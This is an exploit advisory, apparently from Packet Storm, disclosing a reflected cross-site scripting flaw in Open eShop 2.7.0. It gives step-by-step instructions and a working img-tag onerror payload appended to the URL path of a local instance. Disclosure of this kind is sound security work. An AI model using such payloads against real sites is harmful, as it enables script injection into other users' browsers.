Open eShop version 2.7.0 suffers from a cross site scripting vulnerability.
ffc1ccc2b126ca15fb375709398eeafd3eb66b2b5e4657e3a0744439ad777b8c# Exploit Title: Open eShop Version : 2.7.0 - Reflected XSS
# Exploit Author: tmrswrr
# Vendor Homepage: http://www.open-eshop.com/
# Version : 2.7.0
# Date : 04/08/2024
1 ) Go to home page https://127.0.0.1/Open_eShop
2 ) Write url this payload : test.html"><img src=x onerrora=confirm() onerror=confirm(1)>
3 ) After save it you will be see xss alert
https://127.0.0.1/Open_eShop/test.html"><img src=x onerrora=confirm() onerror=confirm(1)>
© 2022 Packet Storm. All rights reserved.
%7Cutmcsr%3D(direct)%7Cutmcmd%3D(none)){kind=small}
Follow us on Twitter
Follow us on Facebook
Subscribe to an RSS Feed